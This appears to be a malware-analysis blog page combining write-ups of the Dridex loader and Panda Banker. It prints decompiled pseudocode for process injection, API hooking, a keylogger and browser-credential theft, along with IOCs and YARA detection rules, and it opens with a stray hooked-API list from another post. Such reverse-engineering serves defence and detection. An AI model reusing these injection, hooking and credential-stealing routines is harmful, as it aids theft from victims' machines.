{NULL, VncServer::hookerGetUpdateRect, NULL, 0},
{NULL, VncServer::hookerGetUpdateRgn, NULL, 0},

{NULL, VncServer::hookerGetMessagePos, NULL, 0},
{NULL, VncServer::hookerGetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCapture, NULL, 0},
{NULL, VncServer::hookerReleaseCapture, NULL, 0},
{NULL, VncServer::hookerGetCapture, NULL, 0},
{NULL, VncServer::hookerGetMessageW, NULL, 0},
{NULL, VncServer::hookerGetMessageA, NULL, 0},
{NULL, VncServer::hookerPeekMessageW, NULL, 0},
{NULL, VncServer::hookerPeekMessageA, NULL, 0},

User Hook API

  {NULL, UserHook::hookerTranslateMessage,              NULL, 0},
{NULL, UserHook::hookerGetClipboardData, NULL, 0},
{NULL, UserHook::hookerSetWindowTextW, NULL, 0},

CertStore Hook API

  {NULL, CertStoreHook::_hookerPfxImportCertStore,      NULL, 0},

TlsGetValue Hook API

TlsGetValue

Mozilla Firefox Hook API

PR_OpenTCPSocket
PR_Close
PR_Read
PR_Write
PR_Poll
PR_GetNameForIdentity
PR_SetError
PR_GetError

Google Chrome Hook API

SSL_Read
SSL_Write

Let’s Learn: Dissecting Dridex Banking Malware Part 1: Loader and Avast "snxk.dll" Hooking Lib

Goal: Reverse engineer and analyze the latest “Dridex” banking malware loader and its usage of Avast “snxk.dll” hooking library.

https://platform.twitter.com/widgets.js
Source:
Dridex Packed Loader 32-bit (x86) Executable (MD5: de0bb0bec9fd145a6f57e538a7dd8693)
Unpacked Dridex “ldr” Loder 32-bit (x86) Executable (MD5: 0fc7b913d0e0278d195b3606b608a223)
“snxk.dll” Injector 32-bit (x86) DLL (MD5: 105987197a3c8f76b92c4cae56fe1b16)
Outline

I. Background
II. Malware Campaign Spreading "Dridex" Banker
III. Original Dridex Packed Loader 32-bit (x86) Executable
IV. Unpacked Dridex Loader 32-bit (x86) Executable
A. Dridex Loader OutputDebugStringW(L"installing"/ L"installed")
B. Loader System Profile
C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
D. Dridex Loader API and Function Resolver
E. CreateProcessW "svchost.exe" Process (flag=0xC)
F. Loader Enumerate Modules and Inject "snhxk.dll" Hooker Library
H. Loader AtomBombing Technique.
V. Unpacked "snxk.dll" Hooker 32-bit (x86) DLL
V. Yara Signature: Dridex Loader

I. Background
Dridex by far is one of the most complex and sophisticated financial banking malware on the e-crime landscape. The malware is also referred to as “Bugat” and “Cridex” by various researchers. The original Bugat malware dates back to 2010, which at some point rivaled the original “Zeus” banking malware. This malware group behind it was referenced in the Department of Justice arrest and indictment of a certain Moldovan national back in 2015. Notably, Dridex leverages AtomBombing process injection technique, initially discovered by EnSilo researchers. Before diving deeper, I highly recommend reading IBM X-Force blog titled “Dridex’s Cold War: Enter AtomBombing” detailing the Dridex method implementing this AtomBombing technique.

II. Malware Campaign Spreading "Dridex" Banker
This latest Dridex variant was distruted via an interesting chain from Microsoft Office document with macros communicating with the intermediatery server receving tasks and receiving encrypted payloads as follows: 
hxxp://securityupdateserver4[.]com/tasks[.]php
hxxp://securityupdateserver4[.]com/modules/x86payload[.]core
hxxp://securityupdateserver4[.]com/modules/x64payload[.]core
Finally, the Dridex loader was retrieved from the following URL as "dridex.exe":
hxxp://209[.]141[.]59[.]124/dridex[.]exe
III.  Original Dridex Packed Loader 32-bit (x86) Executable

The crypted binary leverages GdiFlush API in a loop until it reaches the decoding loop, which unpacks the loader leveraging the following API calls:

ntdll.LdrGetProcedureAddress
kernel32.VirtualAlloc

The original loader was obfuscated and packed by pretty interesting crypter with the following executable information with the program database (PDB) path.

---------------------------------------
----------Dridex Packed Loader---------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x1F760 0x0 Characteristics: 0x0
0x1F764 0x4 TimeDateStamp: 0x5B90D07C [Thu Sep 6 07:00:12 2018 UTC]
0x1F768 0x8 MajorVersion: 0x0
0x1F76A 0xA MinorVersion: 0x0
0x1F76C 0xC Type: 0x2
0x1F770 0x10 SizeOfData: 0x33
0x1F774 0x14 AddressOfRawData: 0x28CE4
0x1F778 0x18 PointerToRawData: 0x28CE4
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x28CE4 0x0 CvSignature: 0x53445352
0x28CE8 0x4 Signature_Data1: 0x5F1B5FEA
0x28CEC 0x8 Signature_Data2: 0x48
0x28CEE 0xA Signature_Data3: 0x446A
0x28CF0 0xC Signature_Data4: 0xDA80
0x28CF2 0xE Signature_Data5: 0x6506
0x28CF4 0x10 Signature_Data6: 0x14D18F78
0x28CF8 0x14 Age: 0x1
0x28CFC 0x18 PdbFileName: EHW###%@$WHRENBRWHrjhss.pdb

IV. Unpacked Dridex Loader 32-bit (x86) Executable
The unpacked Dridex loader contains 398 functions and 4 sections (.text, .rdata, .data, and .reloc) with only one imported KERNEL32.dll and one API call OutputDebugStringW, statically. The total size of the unpacked loader is 86 KB. By far, the Dridex is more complex with obscure API calls obfuscated by its API hashing algorithm, process environment block (PEB) traversal, and Nt-level calls, meant to evade and frustrate automated analysis. Additionally, the loader also appears to leverage legitimate Avast library “snxk.dll” to evade detection.

---------------------------------------
----------Dridex Unpacked Loader-------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x151B0 0x0 Characteristics: 0x0
0x151B4 0x4 TimeDateStamp: 0x5B8EAB53 [Tue Sep 4 15:57:07 2018 UTC]
0x151B8 0x8 MajorVersion: 0x0
0x151BA 0xA MinorVersion: 0x0
0x151BC 0xC Type: 0x2
0x151C0 0x10 SizeOfData: 0x3B
0x151C4 0x14 AddressOfRawData: 0x16804
0x151C8 0x18 PointerToRawData: 0x15204
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x15204 0x0 CvSignature: 0x53445352
0x15208 0x4 Signature_Data1: 0xF58A923F
0x1520C 0x8 Signature_Data2: 0xE81
0x1520E 0xA Signature_Data3: 0x4833
0x15210 0xC Signature_Data4: 0xCBB4
0x15212 0xE Signature_Data5: 0x23F9
0x15214 0x10 Signature_Data6: 0x7FBD8DA0
0x15218 0x14 Age: 0xE
0x1521C 0x18 PdbFileName: S:\Work\_bin\Release-Win32\ldr.pdb

A. Dridex Loader OutputDebugStringW(L”installing”/ L”installed”)
Once the packed loader is unpacked, we observe the Dridex loader loop leveraging OutputDebugStringW and wide strings “installing” and “installed.” It is also notable that the malware proceeds to call GetAdaptersInfo immediately after presumably to check for architecture and Windows version compatibility.

////////////////////////////////////////////////////////////
//////// Dridex Loader "installed" start exceprt ///////////
////////////////////////////////////////////////////////////
if ( (signed int)installing_ldr((char *)2) > 1 )
// OutputDebugStringW(L"installing")
OutputDebugStringW(L"installed");
v51 = a1;
svchost_exe_dridex_loader_process = a4;
v52 = 10240;
hash_func1((int)&v69, 10240);
v4 = func_calc((int)&v69, 0);
GetAdaptersInfo = (void (__cdecl *)(int, int *))func_hash1(0xDEE7C423, 0xDC613C9);
if ( GetAdaptersInfo )
GetAdaptersInfo(v4, &v52);
while ( v4 )
{
if ( *(_DWORD *)(v4 + 0x194) == 0x4B005452 && *(_WORD *)(v4 + 0x198) == 0x31A1 )
{
Dridex_loader_start(0, a2, a3, v4);
goto LABEL_12;
}
v4 = *(_DWORD *)v4;
}

B. Loader System Profile
Dridex loader profiles the system architecture leveraging various APIs and tries to obtain process token access. Additionally, the malware leverages RtlQueryElevationFlags to identify system privileges and configuration. The malware verifies it was launched with administrative privileges by calling the AllocateAndInitializeSid() function with the 0x20 (SECURITY_BUILTIN_DOMAIN_RID) and 0x220 (DOMAIN_ALIAS_RID_ADMINS) sub-authorities.
The Dridex loader leverages the following API call sequences to profile the system:

  • GetVersionExW
  • IsWow64Process
  • Process Token Access
    • OpenProcessToken
    • GetTokenInformation
    • AllocateAndInitializeSid
    • EqualSid
    • FreeSid
  • RtlQueryElevationFlags
  • GetSystemInfo

Additionally, the loader also uses SHRegDuplicateHKey API call to and enumerates registry keys at the following location leveraging RegOpenKeyExW, RegEnumKeyW:

  • HKLM\Software\Microsof\Windows\CurrentVersion\Policies\System
////////////////////////////////////////////////////////////
//////// Dridex Loader Registry Enum exceprt ///////////
////////////////////////////////////////////////////////////
if ( HKLM && HKLM != -1 )
sub_87B085(HKLM);
HKLM = v9;
v9 = 0;
v12 = (_DWORD *)func_calc(a2, 4 * v11);
v13 = 0;
v36 = *v12 ^ 0x3F62AA29;
while ( 1 )
{
v33 = v13;
RegEnumKeyW = (int (__stdcall *)(int, int, char *, signed int))func_hash1(0x3D61B1D5, 0xF2B958D9);
v5 = RegEnumKeyW ? RegEnumKeyW(HKLM, v13, Microsoft, 260) : 0;
if ( v5 )
break;
v15 = (void **)Alpha_Alloc((_WORD **)&Microsoft, (unsigned __int16 **)&v41);
v16 = WideCharToMultiByte_func_0(*v15);
v17 = v16 == v36;
j_RtlFreeHeap_func_0_0((int)&v41);
if ( v17 )
{
v35 = 0;
RegOpenKeyExW = (int (__stdcall *)(int, char *, _DWORD, signed int, int *))func_hash1(0x3D61B1D5, 0xA8C65AB);
if ( RegOpenKeyExW )
{
v19 = 0x20109;
if ( v31 == v37 )
v19 = v34;
v5 = RegOpenKeyExW(HKLM, Microsoft, 0, v19, &v35);
// HKLM\Software\ Microsof\Windows\CurrentVersion\Policies\System
else
{
v5 = 0;
}

C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
The malware creates mutex leveraging advapi32.dll’s Crypto API CryptHashData calculating an MD5 value out of the concatenated output of GetComputerNameA and GetEnvironmentVariableW(“USERNAME”).
D. Dridex Loader API and Function Resolver
The malware resolves ZwProtectVirtualMemory and GetSystemDirectory and LoadLibraryW (advapi32.dll, psapi.dll, shlwapi.dll, shell32.dll, wininet.dll)

E. CreateProcessW “svchost.exe” process (flag=0xC)
The Dridex loader leverages CreateProcessW with the creation flag 0xC (CREATE_SUSPENDED|DETACHED_PROCESS) for initial process start via “svchost.exe passing the location of the Dridex loader as a command-line argument to “C:\Windows\system32\svchost.exe” and setting the current directory as “C:\Windows\system32.”

//////////////////////////////////////////////////////
////// Dridex Loader "CreateProcessW" Call ///////////
//////////////////////////////////////////////////////
CreateProcessW
(L"C:\Windows\system32\svchost.exe", // ModuleFileName
L"C:\Windows\system32\svchost.exe \
"PATH_TO_DRIDEX_LOADER"", // CommandLine
0,
0,
0,
0xC, // 0xC = CREATE_SUSPENDED|DETACHED_PROCESS
0,
// CurrentDir
L"C:\Windows\system32\",
&pStartupInfo,
&pProcessInfo)

Then, the loader proceeds to immediately obtain process information via the following sequence of API calls:

GetProcessId -> NtOpenProcess -> GetProcessImageFileNameW -> NtQueryInformationProcess -> \
GetProcessTimes -> ProcessToken Access

F. Loader Enumerate Modules and Inject “snhxk.dll” Hooker Library
Dridex enumerates modules via the following chain and injects “snxhk.dll” into “svchost.exe”:

CreateToolhelp32Snapshot -> Thread32First -> Thread32Next -> OpenThread -> \
NtQueryVirtualMemory -> NtReadVirtualMemory -> \ NtWriteVirtualMemory -> NtResumeThread

Additionally, the malware injects the DLL into the memory leveraging NtWriteVirtualMemory into the space of the suspended “svchost.exe.” 

H. Loader AtomBombing Technique
The Dridex loader leverages GlobalAddAtomW and GlobalGetAtomName with NtQueueApcThread with NtProtectVirtualMemory API call in end to make the memory region RWX as it is well-documented here.

///////////////////////////////////////////////////////////////////
//////////// Dridex Atom NtNtQueueApcThread //////////////
///////////////////////////////////////////////////////////////////

bool __fastcall Dridex_Atom_NtQueueApc(void *this, int edx0, int a2, int a3, int a4)
{

v5 = this;
v6 = edx0;
v7 = GlobalAddAtomW_GlobalGetAtomNameW_func((void *)a4);
LOWORD(v13) = v7;
if ( v7 && -1 != v7 && (v8 = func2((void *)a4), NtQueueApcThread_func
(a2, (int)v5, (unsigned __int16)v7, a3, v8 / 2)) )
{
ZwDelayExecution_func((void *)0x64);
v9 = func2((void *)a4);
v10 = func_calc(a4, 0);
v11 = NtReadVirtualMemory_func(v6, a3, v10, v9);
}
else
{
v11 = 0;
}
if ( v7 && -1 != v7 )
GlobalDeleteAtom_func(v13);
return v11;
}

V. Unpacked “snhxk.dll” Hooker 32-bit (x86) DLL

The injected “snhxk.dll” DLL contains 15 functions and 4 sections (.text, .rdata, .data, and .reloc) and one imported library KERNEL32.dll with two imported APIs FreeConsole and VirtualQuery, statically. The size of the DLL is 9 KB. Once run, this DLL also resolves dynamically GetProcAddress, LoadLibraryA, VirtualAlloc, VirtualProtect and retrieves LdrLoadDll.
Dridex appears to leverage snxhk.dll specifically to monitor LdrLoadDll API calls. The “snhxk.dll” appears to be related to Avast anti-virus hooker library to monitor loader.
The malware sets up a hook on NTDLL.dll!LdrLoadDll overwriting it with relative opcode “0xe9” jump.
//////////////////////////////////////////////////////
////// Dridex "snxhk.dll "LdrLoad" Hook Exceprt /////
//////////////////////////////////////////////////////
PVOID LdrLoadDll_dridex()
{

v12 = (_BYTE *)load_ntdll((int)"LdrLoadDll");
v11 = v12;
if ( *v12 == 0xE9u // jmp relative offset = "0xE9" opcode
{
do
{
v0 = *(_DWORD *)(v11 + 1);
v1 = v11[v0 + 5] == 0xE9u;
v11 += v0 + 5;
}
while ( v1 );
}
v10 = 0;
if ( v12 != v11 )
{
VirtualQuery(v11, &Buffer, 0x1Cu);
v10 = 0;
if ( Buffer.AllocationBase )
{
v9 = (char *)Buffer.AllocationBase + *((_DWORD *)Buffer.AllocationBase + 15);
v10 = Buffer.AllocationBase;
if ( *(_WORD *)Buffer.AllocationBase == 0x5A4D )
{
v10 = Buffer.AllocationBase;
if ( *(_DWORD *)v9 == 0x4550 )
VI. Yara Signature: Dridex Loader
import "pe"

rule crime_win32_dridex_banker_loader {
meta:
description = "Detects Dridex Loader September 4, 2018"
author = "@VK_Intel"
date = "2018-09-10"
hash1 = "ce509469b80b97e857bcd80efffc448a8d6c63f33374a43e4f04f526278a2c41"
strings:
$s1 = "S:\\Work\\_bin\\Release-Win32\\ldr.pdb" fullword ascii
$s2 = "OutputDebugStringW" fullword ascii
$s3 = "KERNEL32.dll" fullword ascii

$hash_resolver = { 56 57 8b fa 8b f1 8b cf e8 ?? ?? ?? ?? 85 c0 75 ?? 81 fe 29 aa 62 3f 75 ?? 33 c0 5f 5e c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 300KB ) and
pe.imphash() == "cdd344983e4f44182600c69cb4fab21d" and (1 of them) or
( 1 of ($s*) and $hash_resolver )
}
VII. Appendix: Dridex Loader Configuration
Dridex ID: “10205”
104.236.24[.]85:443
188.240.231[.]15:3889
107.170.220[.]167:4431

Let’s Learn: Dissecting Panda Banker & Modules: Webinject, Grabber & Keylogger DLL Modules

Goal: Reverse engineer the latest Panda Banker malware and detail the modules associated with the popular malware. The research aims to  fill researcher gaps with the detailed information related to Panda modules and their detection.

https://platform.twitter.com/widgets.js Source
Panda Loader packed (MD5: 97820f5167ede76dc466efdd239a5ba4)
Panda Core unpacked(MD5: 08124df7f51280af3c99360e0a80e9c8)
Panda LibInject x86 (32-bit) DLL Module “libinject.dll” (MD5: eb92c528455f5b14dd971e7126f6271f)
Panda Grabber x86 (32-bit) DLL Module “grabber.dll” (MD5:  b830680a74a9fb0e71a59df57ab36f3d)
Panda Keylogger x86 (32-bit) Module “keylogger32.dll” (MD5: 487e09c2da9e59fbc7f0690bf08a7a7e)
Panda Webinject x86 (32-bit) DLL Client (MD5: c310165d1a438031d7781eb623f64872)
Outline:

I. Background
II. Panda Webinject x86 (32-bit) DLL Client
III. Hooking Engine: "MinHook"-like Library
IV. Panda x86 (32-bit) "grabber.dll" Module
V. Panda x86 (32-bit) "keylogger32.dll" Module: RAWINPUT
VI. Yara Signature
A. Panda Grabber Module
B. Panda Keylogger Module
C. Panda Webinject Client
VII. Appendix
A. Dynamic Configuration
B. Panda Command-and-Control Server
C. Hooked APIs

Analysis:
I. Background
Panda Banker is an information-stealing malware that leverages various methods to steal data from compromised machines including webinjects to steal financial credentials and keylogger module for intecepting keys.
GDATA previously extensively covered the Panda Banker main functionality, including  but not not limited to its extensive anti-analysis techniques. I highly recommend reading this paper before learning more about Panda. 
Panda is a known Zeus banker derivative and shares significant code overlap with the original leaked Zeus 2.0.8.9. By and large, Panda banker remains to be one of the most popular banking malware available on the crimeware scene that is available for sale for $7,500 USD in its basic functionality.
Some of the advertised capabilities  are as follows:

Formgrabber for Internet Explorer (IE), Chrome, and Firefox
Grabber for screenshots, passwords, cookies, certifications,
credit cards
POP3/FTP
File Search
SOCKS support
Virtual Network Computing (VNC)
Injects

Previously, I extensively covered its injection technique as part of the Panda banker libinject.dll leveraging “AcInitialize” and “AdInjectDll” export functions. ZwWow64QueryInformationProcess64-ZwWow64ReadVirtualMemory64 are used for searching NTDLL in PEB, then for searching API addresses required for work of injecting DLL module (x32/x64) which is being located in AP “svchost” by using NtCreateSection-NtMapViewOfSection-NtUnmapViewOfSection ResumeThread-Sleep-SuspendThread are used for unmapping and injecting the payload into the main thread.

  • AcInitialize: size_t function type that initializes the structures necessary for the injection export function.
  • AdInjectDll: DWORD function type that performs the process injection with the argument with the desired process ID (PID) as an argument of the DWRD type.
II. Panda Webinject x86 (32-bit) Client
Panda banker stores both local and dynamic configuration in JavaScript format that used for command-and-control and subsequent communications. The local configuration is as follows of the exe type that is used in conjunction with the stored public key:

///////////////////////////////////////////////////
///////////// Basic Panda URL config //////////////
///////////////////////////////////////////////////
"generated_url":["47[.]com/rcfig.dat", "98[.]net/rcfig.dat","10[.]net/rcong.dat",
"98[.]net/vgt.dat"]

The dynamic configuration is parsed for the following values:

//////////////////////////////////////////////////////////////////////////
/////////////////////// Panda ParseDynamicConfig *shortened //////////////
//////////////////////////////////////////////////////////////////////////
void *__cdecl parse_dynamic_config(int a1)
{
const char *grab_value;

grab_value = 0;
switch ( a1 )
{
case 0:
grab_value = "created";
break;
case 1:
grab_value = "botnet";
break;
case 2:
grab_value = "check_config";
break;
case 3:
grab_value = "send_report";
break;
case 4:
grab_value = "check_update";
break;
case 5:
grab_value = "url_config";
break;
case 6:
grab_value = "url_webinjects";
break;
case 7:
grab_value = "url_update";
break;
case 8:
grab_value = "url_plugin_vnc32";
break;
case 9:
grab_value = "url_plugin_vnc64";
break;
case 10:
grab_value = "url_plugin_vnc_backserver";
break;
case 11:
grab_value = "url_plugin_grabber";
break;
case 12:
grab_value = "url_plugin_backsocks";
break;
case 13:
grab_value = "url_plugin_backsocks_backserver";
break;
case 14:

Additionally, the bot checks machine software and runs various WMI queries to populate the data about the infected machine such as:

Select * from AntiVirusProduct
Select * from AntiSpywareProduct
Select * from FirewallProduct

The bot also generates information object about the infected machine. The elongated version is as follows:

//////////////////////////////////////////////////
///////////// Elongated Panda BotInfo ////////////
//////////////////////////////////////////////////
"BotInfo": {
"systime": UNIX,
"process": "svchost.exe",
"user": "MACHINE",
"id": "BOT",
"botnet": "2.6.9",
"version": "2.6.10",
"os": {
"version": INT,
"sp": INT,
"build": INT,
"bit": INT,
"server": INT,
"lang": INT,
"explorer": INT
"File":
"name": "webinjects.dat",
"antivirus": DWORD,
"antispyware": DWORD.
"firewall": DWORD,
}
Panda injects its main bot after the successful infection to hook various browser API, TranslateMessage, and GetClipboardData. The main injected contains 354 functions.
The main injected bot INT-type function is as follows: 

//////////////////////////////////////////////////////////////////////////
///////////////////////// Panda MainInject Function //////////////////////
//////////////////////////////////////////////////////////////////////////
int Panda_main_inject()
{
int result;
HMODULE user32_1;
HMODULE user32;

result = Hook_Initialize();
if ( !result )
{
Addend = 0;
dword_1001047C = (int)sub_10006122;
user32_1 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)TranslateMessage_0 = GetProcAddress(user32_1, "TranslateMessage");
dword_10010488 = (int)sub_10006077;
user32 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)GetClipboardData = GetProcAddress(user32, "GetClipboardData");
hook_main_entrance((int)TranslateMessage_0, 2u);
hook_ie();
hook_firefox();
hook_wsa_chrome_check_opera();
result = EnableHook(0);
}
return result;
}

III. Hooking Engine: “MinHook”-like Library

Panda Banker utilizes a “MinHook”-like hooking engine to hook various API of interest. MinHook is a known minimalistic x86/x64 API hooking library for Windows that is leveraged by various banking malware (most notoriously, TinyNuke banker) to hook various browser API for information-stealing purposes.
For example, Panda uses this routine to enable hooks for Mozilla Firefox browser API calls PR_Close, PR_Read, PR_Write, and PR_Poll from nss3.dll.

The CreateHook function sequence is as follows:

The CreateHook function sequence -> “EnterSpinLock” (via InterlockedCompareExchange API call) -> checks if “IsExecutableAddress” (via VirtualQuery API call with Buffer.State and Buffer.Protect check for executable)  -> “FindHookEntry” (DWORD entry) -> “AllocateBuffer” (via VirtualAlloc API call) -> “CreateTrampolineFunction” ->  if not entry “AddHookEntry” -> “FreeBuffer” -> “LeaveSpinLock”.
By and large, the Panda hooking engine works by replacing the prologue of the targeted API call with the unconditional JMP to the detour function.
Panda enables its hooks as as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
The pseudo-coded C++ EnableHook function is as follows:

//////////////////////////////////////////////////////////////////////////
///////////////////////// Panda EnableHook Function //////////////////////
//////////////////////////////////////////////////////////////////////////
signed int __fastcall Panda_EnableHook(int a1, int patch_above)
{

hook_entry = patch_above;
v3 = lpMem + 44 * a1;
patchSize = 5;
v10 = patch_above;
dwSize = 5;
v5 = (*(_BYTE *)(v3 + 20) & 1) == 0;
pPatchTarget = *(_WORD **)v3;
v13 = *(_WORD **)v3;
if ( !v5 )
{
pPatchTarget = (_WORD *)((char *)pPatchTarget - 5);
patchSize = 7;
v13 = pPatchTarget;
dwSize = 7;
}
if ( VirtualProtect(pPatchTarget, patchSize, 0x40u, &flOldProtect) )
{
if ( hook_entry )
{ // enable hook
*(_BYTE *)pPatchTarget = 0xE9u; // jump relative opcode 0xe9
*(_DWORD *)((char *)pPatchTarget + 1) = *(_DWORD *)(v3 + 4) - (_DWORD)pPatchTarget - 5;
if ( *(_BYTE *)(v3 + 0x14) & 1 )
**(_WORD **)v3 = 0xF9EBu;
}
else if ( *(_BYTE *)(v3 + 0x14) & 1 )
{
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 0xC);
v8 = (int)(pPatchTarget + 2);
*(_WORD *)v8 = *(_WORD *)(v3 + 0x10);
*(_BYTE *)(v8 + 2) = *(_BYTE *)(v3 + 0x12);
pPatchTarget = v13;
}
else
{
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 12);
*((_BYTE *)pPatchTarget + 4) = *(_BYTE *)(v3 + 16);
}
VirtualProtect(pPatchTarget, dwSize, flOldProtect, &flOldProtect);
v9 = GetCurrentProcess();
FlushInstructionCache(v9, pPatchTarget, dwSize);
result = 0;
*(_BYTE *)(v3 + 20) = 4 * (v10 & 1) | (*(_BYTE *)(v3 + 20) & 0xFD | 2 * (v10 & 1)) & 0xFB;
}
else
{
result = 10;
}
return result;
}

IV. Panda x86 (32-bit) “grabber.dll” Module
Panda leverages and injects into svchost.exe the module called internally “grabber.dll.” This module contains 336 functions.

The module designed to steal stored information from various software applications as as well as delete it as necessary in order to force the victim to enter it again to be stolen by the malware.

Name Address Ordinal
DeleteCache 10003E10 1
DeleteCookies 10003E4A 2
DeleteFlash 10003E89 3
GrabCertificates 10004D7B 4
GrabCookies 10004DDB 5
GrabFlash 10005106 6
GrabForms 10005139 7
GrabPasswords 100053C9 8
GrabSoftList 100054CD 9
DllEntryPoint 1000118A [main entry]

The brief outline of all the functions is as follows:
A. “GrabSoftList” function (ordinal 9) as temporarily stored “softlist.txt”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys “UninstallString” and “DisplayName” via RegEnumKeyExW API to obtain a list of installed software
B. “GrabCertificates” function (ordinal 4) 
Panda opens the so-called “certificate store” to query for certificates via the following API calls: 

  • CertOpenSystemStoreW
  • CertEnumCertificatesInStore
  • PFXExportCertStoreEx(…, &pPFX, L”password”, 0, 4)
  • GetSystemTime
  • CertCloseStore

The malware stores the cerificafres in the following format:
certs\\%s\\%s_%02u_%02u_%04u.pfx (pPFX.pbData, pPFX.cbData)
C. “GrabCookies” function (ordinal 5) as temporarily stored cookies.txt
Panda grabs cookies from the following browser grab calls:

  • InternetExplorerGetCookies (local search as “*.txt” in APPDATA\Low)
  • MicrosoftEdgeGetCookies (local search as Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe)
  • FirefoxGetCookies (local search as Mozilla\Firefox for “cookies.sqlite”)
  • ChromeGetCookies (local search as Google\Chrome for “cookies”)
  • OperaGetCookies (local search as Opera Software for “cookies”)

D. “GrabForms” function (ordinal 7) as temporarily “autoforms.txt”
The malware steals stored form data from browser application as follows:

  • Internet_Explorer -> registry “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\FormData”
  • Google Chrome ->  “Google\Chrome” for “web data”
  • Mozilla Firefox -> “Mozilla\Firefox” for “formhistory.sqlite”
  • Opera -> “Opera Software” for “web data”

E. GrabFlash” function (ordinal 6)
Panda grabs Flashplayer persistent cookie information in 
“APPDATA Macromedia\Flash Player” for “*.sol” and “flashplayer.cab.”
F. “GrabPasswords” function (ordinal 8) as temporarily  “passwords.txt”
The malware steals passwords from the following software:

InternetExplorer 
Mozilla Firefox (registry parser method)
Google Chrome (local file searcher)
Opera (local file searcher)
Microsoft Outlook (registry parser method)
Windows LiveMail(registry parser method)
Thunderbird (registry parser method)
FireFTP (registry parser method)
WinSCP (registry parser method)
TotalCommander (registry and local parser method)
FileZilla (registry parser method)
CuteFTP (registry and local parser method
)

For example, the malware steals Internet Explorer passwords via 
multiple methods:

  • Grabs passwords via “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2” for stored autocomplete Internet Explorer credentials.
  • Enumerates the credentials using the CredEnumerateW API while filtering with “Microsoft_WinInet_.” The credentials are then decrypted using CryptUnprotectData in conjunction with the GUID “abe2869f-9b47-4cd9-a358-c22904dba7f7” as the decryption salt.
  • Leverages Windows Vault API to enumerate and extract credentials stored by Microsoft Windows Vault. 

The stolen information is stored as follows:
“Soft: %s\tType: %s\tHost : %S\tUser : %S\tPass : %S\r\n”
G. “DeleteFlash,” “DeleteCookies,” and “DeleteCache” functions (ordinal 3, 2, 1 respectively)
Panda leverages these functions to remove and reset various cached and stored credentials and force the victim to enter them again with the goal to intercept them at the point of victim reentry of them.
V. Panda x86 (32-bit) “keylogger32.dll” Module: RAWINPUT Method
The malware also deploys a custom keylogger32.dll module to steal keyed data as well as to grab screenshots and intercept copied clipboard data leveraging “RAWINPUT” method.

The following exports as used as part of the module:
Name Address Ordinal
LoggerStart 1000209B 1
LoggerStop 1000216B 2
DllEntryPoint 10001105 [main entry]
The main function “LoggerStart” launched keylogger process via a separate thread. The thread sets up execution via CreateWindowExW with lpfnWndProc as a pointer to its function that processes window messages. The very similar keylogger method is described here.
By and large, the keylogger creates the the invisible message only window with the pseudorandom lpszClassName value generated as follows leveraging __rdtsc call (the processor time stamp, which represents the number of clock cycles since the last reset):

/////////////////////////////////////////
// Panda Keylogger Generate ClassName //
/////////////////////////////////////////
v1 = dword_1000522C;
v2 = 0;
do
{
if ( !v1 )
{
v3 = __rdtsc();
v1 = v3;
}
v1 = 214013 * v1 + 2531011;
lpcClassName[v2++] = ((v1 >> 16) & 32767ui64) % 25 + 97;
}

Ultimately, the keylogger passes only the bear minimum values to create an invisible “Message Only Window” as follows:

  • CreateWindowExW(0, v7.lpszClassName, 0, 0, 0, 0, 0, 0, HWND_MESSAGE, 0, v7.hInstance, 0)

Panda uses RegisterRawInputDevices function to register and record calls. The first parameter points to the array of RAWINPUTDEVICE structs.  the GetRawInputData first parameter is a handle to the RAWINPUT structure from the device, whose members are, due to usUsagePage=1 (generic desktop controls)and usUsage=6 (keyboard).
The pressed keys of intereest are processed with MapVirtualKey and translated to characters and saved to a file later.

//////////////////////////////////////// 
//////// Panda Keylogger KeyProcessor //
////////////////////////////////////////
GetWindowTextW_0((int)&v13, v2);
v13 = 0;
v4 = GetWindowThreadProcessId(v2, 0);
dwhkl = GetKeyboardLayout(v4);
v5 = GetCurrentThreadId();
AttachThreadInput(v4, v5, 1);
GetKeyboardState(&KeyState);
v6 = GetCurrentThreadId();
AttachThreadInput(v4, v6, 0);
switch ( uCode )
{
case 8u:
v10 = wsprintfW(&v14, L"[BACKSPACE]");
break;
case 9u:
v10 = wsprintfW(&v14, L"[TAB]");
break;
case 0xDu:
v10 = wsprintfW(&v14, L"[ENTER]");
break;
case 0x1Bu:
v10 = wsprintfW(&v14, L"[ESC]");
break;
case 0x20u:
v10 = wsprintfW(&v14, (LPCWSTR)" ");
break;
default:
v7 = dwhkl;
v8 = MapVirtualKeyExW(uCode, 0, dwhkl);
v9 = v8;
if ( uCode >= 33 && (uCode <= 40 || uCode > 44 && (uCode <= 46 || uCode == 111 || uCode == 144)) )
v9 = v8 | 0x100;
memset(&Dst, 0, 64u);
if ( ToUnicodeEx(uCode, v9, &KeyState, (LPWSTR)&Dst, 32, 0, v7) <= 0 )
{
if ( GetKeyNameTextW((unsigned __int16)v9 << 16, (LPWSTR)&Dst, 32) <= 0 )
return;
v10 = wsprintfW(&v14, L"[%s]", &Dst);
}
else
{
v10 = wsprintfW(&v14, L"%s", &Dst);
byte_10005198 = 0;
}
break;
}
if ( v10 )
Clipboard_wsprintf((int)&v13);
}
}

Additionally, the malware steals copied clipboard data via sequence of OpenClipboard, GetClipboardData, and  SetClipboardViewer  API calls receiving a WM_DRAWCLIPBOARD. The stolen data is stored in the following format with the timestamp:

  • L”\r\n[Clipboard || %s]\r\n”

It is also notable the keylogger malware also has capabilities to JPEG screenshots via the usual GDI library DLL.

